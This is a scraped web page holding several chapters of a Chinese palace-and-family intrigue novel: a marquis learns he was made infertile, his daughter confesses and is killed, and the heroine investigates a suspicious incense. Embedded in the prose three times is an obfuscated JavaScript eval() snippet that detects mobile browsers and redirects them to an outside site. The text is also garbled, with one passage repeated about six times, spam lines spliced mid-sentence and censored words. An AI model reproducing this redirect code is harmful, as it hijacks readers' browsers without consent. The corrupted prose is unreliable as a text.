凶手还没查出来,沈清迟又突然爆出清远侯早就被下了绝嗣药,根本不可能再有孩子。 这刚过门的侯夫人给清远侯戴了绿帽子! 来赴宴的宾客没想到会接连看到这样的热闹,就连沈家众人都呆若木鸡,如遭雷劈。 清远侯自然不愿意相信这样的事实,他第一时间找了大夫给自己把脉,怕这大夫不准,又派人去回春堂请了最厉害的大夫来。 两个大夫诊断的结果一致。 清远侯确实被下了药,再无法孕育子嗣。 听完这个消息,清远侯久久不语。 他出身低下,靠着股子不怕死的冲劲儿立下战功封侯,最得意的时候,他用战功求娶了世家女萧氏。 他贪图萧氏漂亮高贵,也贪图萧家的家财和人脉。 他以为自己娶了萧氏就能彻底跻身权贵名流的世界,成为人上人。 谁知萧氏根本瞧不上他,宁可喝下绝子汤,也不肯为他孕育子嗣。 后来陛下收走了他手里的兵权,让他成了闲赋在家的空架子侯爷。 为了得到萧家的助益,他逼着萧老爷子把自己的老来子偷偷记在了他和萧氏名下。 这孩子打小就聪明听话,学什么都快。 他本来应该高兴的,可一想到这孩子身上流着的根本不是自己的血,所有的聪明才智都来自萧家,他就对这孩子怎么都喜欢不起来。 再后来,萧氏郁郁寡欢,莫氏趁机勾引,他并未拒绝,半推半就地让莫氏爬了床。 他好歹是真刀**在战场上拼杀出来的大英雄,萧氏看不上他,多的是女人喜欢他。 萧氏病逝后,他很快把莫氏迎进了门。 莫氏不像萧氏那样高冷漠然,莫氏会奉承讨好他,但莫氏的讨好都是有目的的。 莫氏想要他的钱,更想要他有权有势,让她去哪儿都有面子。 可战事已休,陛下根本不会重用他,他只能守着那点儿封赏和俸禄做个闲散侯爷。 很快,莫氏也发现了这个真相,她先是嫌他不上进,后来又嫌他是泥腿子出身,哪怕被封侯,也改不了一身穷酸毛病。 她费尽心力给两个儿子找了名师开蒙,寄希望于两个儿子日后能考取功名,为她挣个诰命。 她不要儿子像他。 看透莫氏的真面目后,他开始流连花丛,不愿归家,没多久,他认识了杳娘。 杳娘虽然小他很多岁, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 却对他征战时的事迹如数家珍。 杳娘是真的崇拜他,每次看他的眼神都像是看着顶天立地的大英雄。 于是他为杳娘赎了身,给了杳娘一个家。 这么多年,杳娘不争不抢,从不开口要名分,为了给他生孩子,不知喝了多少汤药遭了多少罪。 他以为杳娘应该是真心爱慕他的,所以在知道杳娘怀孕之后,他似乎才第一次有了为人父的喜悦。 等这个孩子出生,他会倾尽所有给这孩子最好的教导,他甚至会考虑把爵位也给这孩子继承。 这些日子他设想了很多很多,却怎么都没想到他被下了绝嗣药。 这孩子不是他的。 杳娘这么多年的柔情蜜意也都是假的! 他就是个彻头彻尾的笑话! 过去几十年的种种不断在脑海闪现,无尽的愤怒几乎要把清远侯吞没。 这时沈清越终于回过神来,他急急追问:“妹妹既然知道爹被下了绝嗣药,应该也知道下药之人是谁吧?” 问出这句话时,沈清越的心跳控制不住快了两分。 **沈清迟是如何得知清远侯被下了绝嗣药的,但沈家人不会害清远侯,他和三弟也没有做过这样的事,那就只剩下大哥和曹春喜了。 毒害亲爹,害亲爹无嗣,这可是不可饶恕的重罪,一旦坐实,沈清渊和曹春喜就完了! 不止沈清越这样想,在场众人在听到他的问话后,也第一时间看向了沈清渊。 见众人如此,角落里的云晚棠微垂着眸,眼底闪过快意。 等沈清渊被定罪,就没有人再插手和越西互通商贸的事了,销魂香会在昭陵境内大肆售卖而他们种着香料的那块地会变成采不尽的金山。 太傅府会一跃成为瀚京第一世家,而她也会成为瀚京所有世家夫人争相讨好、追捧的典范。 这般想着,云晚棠有些压制不住唇角,然而这时,她听到了沈清迟低哑的、带着轻颤的声音:“是我!” 云晚棠猛然抬头看向沈清迟。 沈清迟死死捏着手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群发出惊恐的声音,春喜心头一颤,沈清渊迅速折身将她揽入怀中。 透过沈清渊的臂弯,春喜看到沈清迟被丢到地上。 清远侯生生拧断了她的脖子。 第298章 你们不要,我也不要 谁也没有想到,沈清迟会突然跳出来承认是自己和莫氏给清远侯下的药,更没人想到清远侯会愤怒到直接当众掐死自己的女儿。 杀了沈清迟清远侯还觉得不解恨,他抄起钉在柱子上的剑,又朝着沈清越和沈清宇杀去:“**,她们娘俩是**,你们两个也是贱种,都给我死!” 清远侯神情癫狂,完全陷入疯魔之中。 宾客皆被吓得四下逃窜,京兆府的官差被他一身的气势震慑,一时也不敢上前。 沈清宇伤了脖子本就行动不便,这会儿更是吓得腿软,没跑两下就跌坐在地。 “老东西疯了,二哥,快救我!” 沈清宇大叫,沈清越却早就跑到厅外,眼看清远侯杀到了眼前,沈清宇直接吓得尿了裤子晕死过去。 好在沈清渊及时出手,打晕了清远侯。 见李明德也躲在人群之后,沈清渊没好气地开口:“李大人还不来帮忙,是等着他醒来继续**吗?” “来了来了,下官这就来。” 应着声,李明德叫来官差,先用绳子把清远侯五花大绑,免得他再伤人,而后又让人把沈清宇抬去治伤,沈清迟的尸体也被抬走。 等厅里恢复安静,李明德小心翼翼地问沈清渊:“沈小姐已经承认是她和先夫人给侯爷下的药,下官可以就这样结案吗?” 沈清渊没说话,给了他一记眼刀子。 李明德缩了缩脖子,连忙改口:“这案子还有蹊跷,下官这就派人去查。” 所有的事都是杳娘**流产引起的,最明显的线索就是那盒糕点。 杏儿早就吓傻,李明德不过逼问了几句,她便如实交代,糕点里的毒是她偷偷下的。 沈清宇给了她钱,还许诺要娶她做续弦,她一时心动,就答应今日帮忙诬陷春喜。 有了杏儿的供词,李明德直接下令把沈清宇带回京兆府受审。 大夫已经证实清远侯不能生育,杳娘腹中孩子是谁的也要查清楚,只是清远侯被下药之事已经过去很多年,查起来恐怕不太容易。 李明德正不知该如何是好,沈清渊直接把人证物证都送到他面前。 毒是莫氏下的,虽然的确下在沈清迟包的饺子里,但沈清迟那时才五岁,就算知道莫氏在饺子里下了药,也不一定明白那是什么东西。 李明德听完感叹道:“可惜沈小姐**,现在追究这些已经没有意义了。” “大人此言差矣,迟儿妹妹虽然**,但她还有个刚满月的女儿,这案子若 断得含糊不清,万一这孩子随了她娘,日后长大被人挑唆,怨怪起我们来,岂不是又要生出许多祸端?” 春喜不赞同地开口,她刚说完,赵氏就按捺不住站出来:“曹春喜,你把话说清楚,这孩子要养在太傅府,谁会挑唆她怨恨你们?” 春喜一脸无辜:“伯母别误会,我自然不是说您,只是今日之事这么多人都看见了,免不了会宣扬出去,这口口相传的事,传着传着就会变样,万一日后有人在这孩子耳边嚼舌根,说是我和夫君逼**她的亲娘,我和夫君就说不清了,对吧?” 春喜语气诚恳,没有攀扯太傅府,一番顾虑也很有道理。 李明德立刻问:“那依沈夫人之见,这事该如何解决?” 李明德敢问,春喜就敢想,她认真思索了一番开口:“迟儿妹妹当年虽然年幼无知,但这么多年一直隐瞒真相,才酿成今日的悲剧,就算她不是毒害公爹的主谋,也有包庇之罪,对吧?” 李明德本就没有破案的天赋,过去十多年全靠沈清渊才能坐稳府尹的位置,如今沈清渊进了御史台,他生怕沈清渊跟自己翻旧账,接到报案后满脑子想的都是不能得罪沈清渊。 春喜说沈清迟有包庇之罪,他自然不敢反驳,连忙附和:“夫人说的是。” 春喜继续道:“既然如此,还请大人出个告示,昭告全城,说明迟儿妹妹因何而死,又犯了何罪,另外再请太傅府写一封断亲书,说明这个孩子跟清远侯府再无任何关系,万一这孩子受人挑唆,我们也好拿出来证明清白。” 春喜的顾虑是有道理的,但听到断亲书三个字,赵氏当场炸毛:“这孩子身上也流着侯府的血,她亲娘才刚死,你不仅要全城贴出告示,毁她亲娘的名声,还要跟这孩子断亲,曹春喜,你还是人吗?” 赵氏情绪激动,唾沫星子都喷到了春喜脸上,实在维持不住太傅府大夫人的尊贵和体面。 春喜默默往后退了一步,叹了口气道:“伯母,您方才也看到了,公爹因绝嗣一事气得发疯,连二弟三弟都要杀,只怕也对这孩子恨之入骨,我要这断亲书其实是为了保护这孩子啊。” 春喜这话说得很是用心良苦,赵氏噎了一下,想到清远侯刚刚发狂**的样子,顿时有些害怕。 万一哪天清远侯发疯,闯进太傅府来**怎么办? 而且清远侯府都不认这个死丫头了,太傅府为什么还要留着这个孩子? 沈清迟虽然**,但顶了个毒害亲爹的罪名,就算太傅府给口饭吃把这死丫头养大,这死丫头也 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175756|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 会被连累,说不上什么好亲事,连给她日后的孙儿当垫脚石都不配。 要是曹春喜说中了,这死丫头是个养不熟的白眼儿狼,日后被人挑唆,不仅不感念太傅府的养育之恩,还要倒打一耙,岂不是更亏? 赵氏越想越觉得晦气,忍不住大声道:“沈清迟谋害亲爹,其心可诛,我们太傅府不认这样的媳妇,这孩子她既然带回了娘家,那就跟太傅府没有关系了!” 春喜刚刚要断亲书,赵氏还骂她不是人,这会儿太傅府要断亲,赵氏倒是说得理直气壮。 云晚棠忍不住劝:“大嫂,今日发生的事实在太多了,咱们还是回府跟母亲商量一下再做决定吧。” 春喜跟着劝:“是啊伯母,这孩子可是您的嫡亲孙女,您把她丢在侯府万一有个什么好歹,您不得心痛死吗?” 春喜完全是一副巴不得丢掉烫手山芋的表情和语气,赵氏更怕麻烦缠身,她没好气地瞪了云晚棠一眼,斩钉截铁道:“你们不用说了,除非我死,不然我是不会让这孩子再进太傅府的门的!” 在李明德的见证下,赵氏当场写下断亲书。 出了侯府坐上马车,云晚棠不赞同地开口:“大嫂,你今日实在是太冲动了,曹春喜其实很在意这个孩子,她是故意说那些话激你的。” 赵氏没好气地白了云晚棠一眼:“五弟妹真是站着说话不腰疼,要不是你非要帮着出谋划策,太傅府能跟着沈清迟一起丢脸吗?而且沈清迟五岁就能帮着她娘给亲爹下绝嗣药,要是今日她没有出事,谁知道她以后会不会也这样对贤儿?” 云晚棠:“……” 第299章 宝华郡主** 录完口供李明德带着京兆府的官差离开侯府的宾客也散了个一干二净。 原本热热闹闹的喜堂只剩下压抑。 沈家三位叔伯从震惊中回过神来 “老大媳妇儿你刚刚也太莽撞了这官府还没结案呢你怎么就能当着亲家母的面说要跟这孩子断亲呢现在好了人家太傅府不认这个孩子了现在你说怎么办?” “你公爹这次是真的生气了等他回来他定然是不能容忍这孩子在他眼前晃悠的要是这孩子有个三长两短你这不是作孽吗?” 三人你一句我一句越说越起劲儿春喜面不改色等他们说完才幽幽开口:“几位叔伯这么能说要不要我让人套上马车送你们去太傅府慢慢掰扯?” “……” 几人顿时没了声音。 他们也就只敢在家里过过嘴瘾哪敢去太傅府放肆? 耳边安静下来春喜又看向沈清越:“二弟是迟儿妹妹一母同胞的亲哥哥也是这孩子的嫡亲舅舅从眼前的情况来看她该记在二弟名下。” 清远侯现在六亲不认断然不可能养孩子。 沈清宇买通杏儿给杳娘下药害**杳娘腹中的孩子几年牢狱之灾是免不了的。 眼下整个侯府沈清越跟沈清迟最亲也是最应该抚养这个孩子的人。 可沈清越还没议亲今天侯府又闹出这样的丑闻他要是再养个孩子在身边哪有姑娘愿意嫁给他? 而且他还想多花些精力温书准备科考怎么养孩子? 权衡一番沈清越开口:“大嫂我还没成婚更没有养孩子的经验恐怕难以胜任……” “二弟说得在理”春喜点头并不为难他“这孩子可以由我和夫君看顾但养好一个孩子并非易事我们出力这养孩子的钱是不是该二弟和三位叔伯一起出?” “这怎么能行?” 沈家二叔第一时间反对。 一个小丫头片子养大了就得嫁到别人家去他自己的女儿都不想养怎么能出钱养别人的孩子? 沈清越也很犹豫。 他毕竟这孩子的亲舅舅日后若是写出文章扬名天下被人知道他不管自己的外甥女名声不好听。 可侯府现在都被沈家人侵占了他手头只剩一点儿积蓄都得用来买书和笔墨纸砚实在没有多的钱再养一个孩子。 “大嫂家里现在的情况你也知道眼下我 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 们实在拿不出钱来,我们也是心疼这孩子的……” 沈清越一口一句我们,拉着三位叔伯一起,就不显得他一个人自私了。 沈清越话没说完,就被春喜打断:“二弟,我知道家里的情况,但今日这婚礼就是我和你大哥出的钱,再过几个月我也要生了,你们嘴上心疼孩子,却要我和你大哥出钱又出力,这不合适吧?” 的确不合适。 沈清渊本就跟他们不亲,春喜更是几次险些被沈清迟所害,他们完全可以不管这个孩子。 “大嫂……” 沈清越还想劝说,春喜直接起身:“今日发生的事太多,大家都累了,不必急着做决定,过几日再说也不迟。” 说完这句话,春喜直接离开,沈家众人见她走得这么干脆,怕她真的不管孩子,下意识地想要阻拦,一直没说话的沈清渊忽地抬眸,冷冷地扫了他们一眼。 众人心头一颤,刚迈出去的步子默默收回。 从侯府出来,上了马车,春喜立刻开口:“夫君,那孩子……” “我们养。” 春喜话没说完,沈清渊就给出答案。 春喜本来还担心沈清渊觉得她多管闲事,这会儿对上沈清渊温和坚定的眸,什么顾虑都没有了。 她的夫君,是可以为了惨死的女子搭上自己的前途半夜去掘尸的人,他是明白她的。 春喜没了纠结,思绪回到正事上:“夫君觉不觉得迟儿妹妹今日的反应很奇怪,她为什么要突然站出来把下绝嗣药这件事往自己身上揽?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185815|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清越和沈清宇明显是想把杳娘腹中孩子的死扣在春喜头上,因为他们想争夺爵位,按照沈清迟以前的作风,应该找机会落井下石才对,今天她却做了完全相反的事。 沈清渊直接给出结论:“太傅府有问题。” 毒害亲爹的罪有多重沈清迟应该很清楚,就算清远侯没有在盛怒之下掐死她,她也要遭受流放之刑。 一旦她出事,她的女儿在太傅府就无依无靠了。 她明知后果却还是这么做,背后必然有隐情。 春喜抿唇,表情严肃,脑海里莫名浮现出云晚棠那张温温柔柔的脸。 与此同时,太傅府。 云晚棠难得动怒砸了茶杯。 她原以为沈清迟软弱又没脑子,是个十足的蠢货,用孩子要挟让沈清迟指控沈清渊毒害清远侯是万无一失的事,却没想到今日被沈清迟摆了一道。 沈清迟想不开,**就**,但沈清渊和曹春喜肯定会因此生疑,要是查到什么,那就坏了大事了! 思忖良久,云晚棠决定明日一早派人出去散布谣言,拿清远侯被下了绝嗣药的事大做文章,尽可能地把矛头往沈清渊身上引。 众口铄金,不管真相如何,只要陛下听闻风声,对沈清渊生出不喜,不愿再重用沈清渊,那沈清渊也就不能再插手市舶司的事了。 云晚棠很快想到能够传播谣言但又不会被查到的完美计划,然而第二日,这些谣言根本没来得及传播开,就被另一件事压了下去。 寡居多年的宝华郡主**。 而且是和府中一位马夫死在一起的,死得非常不体面。 这事一出,立刻成了所有人茶余饭后的谈资。 这宝华郡主表面清心寡欲,没想到私下玩得这么花啊,以她这身份,再招个郡马也不是什么难事,怎么能跟低贱的马夫混在一起呢? 她该不会是太空虚寂寞,觉得一个郡马满足不了她吧? 各种恶意的揣测漫天,春喜听说后,第一时间去无忧阁找岚舒。 第300章 半个月后到货 这几日,岚舒都是按照春喜列的单子让人去那几家铺子买的饭菜。 确如阿鲤所说,这几家铺子的饭菜味道都很好,分量也足。 岚舒没让人报春喜的名号,买来的饭菜也完全够吃了。 今天岚舒准备买山药排骨汤和鸡蛋羹,春喜到时,帮他买饭的小厮刚走。 被削断的手指已经结痂,这几天骨头有些发痒,但不能挠,挺熬人的,阁里的小倌都知道岚舒这几天的脾气不大好,但看到春喜,岚舒还是立刻勾起笑容迎上去:“沈夫**驾光临,有失远迎,还请夫人恕罪。” 岚舒说着行了一礼,瞧着很是谄媚。 春喜盯着他的手看了一会儿问:“公子手上的伤养得可好?” “谢夫人关心,小人的伤已大好。” 说着话,岚舒把春喜迎到二楼包厢。 和其他妓院一样,无忧阁也是夜里热闹,白日冷清,这会儿阁里很是安静。 一进屋,岚舒就要忙着生炉子煮茶,春喜叫住他:“公子不必忙了,我来打听一点事就走。” 岚舒翻找茶叶的动作没停,爽快道:“夫人有什么事尽管问,小人一定知无不言言无不尽。” 岚舒刚说完,春喜便不客气地开口:“宝华郡主**,我来是想问,她的死和无忧阁的销魂香是否有关?” 岚舒刚好找到春喜之前让阿鲤送来的茶叶,闻言动作一顿,诧异地看向春喜,片刻后他好奇地问:“宝华郡主是谁?” 春喜直接放了一百两银票在茶几上:“宝华郡主前不久在太傅府的宴席上自爆在无忧阁见过我,如今这事已经不是秘密,公子不必装不认识。” 春喜并不打算绕弯子,岚舒盯着那张银票看了会儿,叹了口气道:“果然瞒不过沈夫人,这位宝华郡主,的确是无忧阁的常客,她也确实从无忧阁买了一些销魂香回去,但这香除了味道有些奇特,对人体并无害处,更不可能害死宝华郡主。” 岚舒边说边熟练地生起炉子,添水煮茶,虽然左手小拇指缺失,但他煮茶的动作依旧行云流水,脸上更是坦然,毫无慌乱心虚。 思索了会儿,春喜再度开口:“我去郡主府见过宝华郡主,她买销魂香是因为那香能让她梦见故去多年的郡马,那香虽不会害人,但能放大人心中的欲望,让人产生幻觉,对吧?” 虽然春喜跟宝华郡主见面不多,但经过上次见面,春喜觉得宝华郡主并不是重欲之人,若并不是那销魂香能致幻,宝华郡主不会与马夫厮混在一起,更不可能在清醒后 和马夫同归于尽。 岚舒眼底闪过亮芒,被春喜的敏锐惊到,他点头道:“阁里客人喜欢刺激,用点儿香助兴是常有的事,这销魂香的确会让人更加兴奋。” 只是兴奋吗? 春喜觉得没这么简单,但这毕竟只是她的猜测,并无证据,她也没有权力逼问岚舒更多。 春喜抿了抿唇,又拿出两张银票放在桌上:“我还有两件事想问公子。” “什么?” “第一,宝华郡主之前信誓旦旦说在无忧阁看见我了,我想知道是谁透露了这个消息,第二,我来无忧阁打听过我公爹和他相好的事,除了阁主,公子还有没有把这件事透露给其他人?” 两个问题,春喜都是直勾勾地盯着岚舒的眼睛问的。 岚舒在心底暗叹了声可惜,面上却是浮起了惯有的笑:“无忧阁虽然很注重保护贵客隐私,但到底是开门做生意的,像沈夫人这样出手阔绰只买消息的买卖,我们也做。” “我明白,我想问的是这买卖是别人求上门来的,还是公子主动告诉别人的?” 这买卖是你情我愿的事,总要有一方主动,买卖才能成。 春喜铁了心要打破砂锅问到底,岚舒只能道:“沈夫人既然已经有所怀疑,便该知道我不是什么好人。” 这便是承认这两件事都是他泄露的消息出去。 春喜虽然早有心理准备,但亲耳听到岚舒承认,心里还是有些难受。 她握紧拳头,忍不住说:“我是真心拿公子当朋友的。” 岚舒弯眸,脸上笑意更深:“干咱们这行的,身份低贱,最忌对客人付出真心,沈夫人也太抬举小人了。” 言下之意,他从来都没有把春喜当朋友过。 春喜眼底闪过恼意,岚舒本以为她会抄起几上的茶杯砸自己,谁知过了半晌,春喜便平静下来,最后拿出一根金条道:“公子说得对,之前是我想岔了,咱们在商言商,我想买一钱销魂香。” 岚舒看了眼春喜隐隐有些显怀的肚子,忍不住问:“夫人还怀着身孕,不会是要以身试香吧?” “公子不是说这香不会害人么,我难道用不得?” “沈夫人当然用得,”岚舒毫不犹豫地点头,随后又道,“不过这香很是难得,阁里的存货正好卖完了,下一批要半个月后才到,沈夫人还是半个月后再来吧。” “我可以加价。” 春喜毫不犹豫,岚舒摇头道:“阁里真的没有现货了,夫人就算把这一整根金条都给我,我也交不出货来。” 岚舒说完把金条退还给春喜,只收了那三百两银票:“这些算是方才买消息的钱和定金,半个月后货到了,我立刻派人送来给沈夫人。” 岚舒都这么说了,春喜也不好胡搅蛮缠,拿了收据离开。 炉子上的水早就开了,咕嘟咕嘟地冒着热气,岚舒收好茶叶,灭掉炉火,感觉伤处又开始痒得叫人发疯。 ** 沈清渊一下值到家,春喜就跟他说了自己去无忧阁找岚舒的事。 “我还是觉得宝华郡主的死和那销魂香有关,只可惜现在没有货,得半个月后才能拿到。” 春喜的重点在香,沈清渊的重点却在半个月后。 半个月,第一批护送粮草去翁州的队伍也该回来了。 